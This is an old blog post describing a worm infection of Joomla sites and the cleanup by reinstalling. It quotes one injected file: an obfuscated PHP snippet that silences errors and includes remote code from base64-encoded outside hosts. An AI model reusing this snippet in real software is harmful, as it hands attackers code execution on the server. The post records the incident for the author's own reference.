Renzki's hack report

2006-04-24 @ 05:13 in Blaogy Dev

I got a very urgent call for help from Renzki this afternoon. All his joomla sites got a parse error somewhere in mosce.php file.

After checking googles and joomla forum I understood that it's a hack... or more precisely a worm virus. It's very annoying. Almost in all directories, I see files like remote.php guest.php packages.php tests.php create.php etc... and also .htaccess files. those files contain quite the same script, they are base64_encode-ed so we can understand the files from decoding them.

This is one of them

<? error_reporting(0);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1"."/?".$str))){} else {include(base64_decode("aHR0cDovLw==".base64_decode("dXNlcjcuaHRtbHRhZ3MucnU="."/?".$str);
} ?>
When those encoded strings were decoded they are websites... usually 


So they are really virus.

I tried to remove the files manually but they are too much. So we had to reinstall joomla using another path... and rename the jooomla database to be used with the new one. then reinstall one by one all the modules and components and templates. And all that should be done with all infected sites.

That's the problem with open source... (Yes... open source matters) because everybody knows how your files are structured and if they find a hole, then you're kicked off.

And I was supposed to not to work today

Verindrohy (trackback)

Momba ahy

Ho hitanao ato ny isandroko. Angoniko ato mba hovakiako indray any aoriana any :-)

« Desambra 2023 »
At Ta Ar Ak Zo As Ah
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
  • Blogroll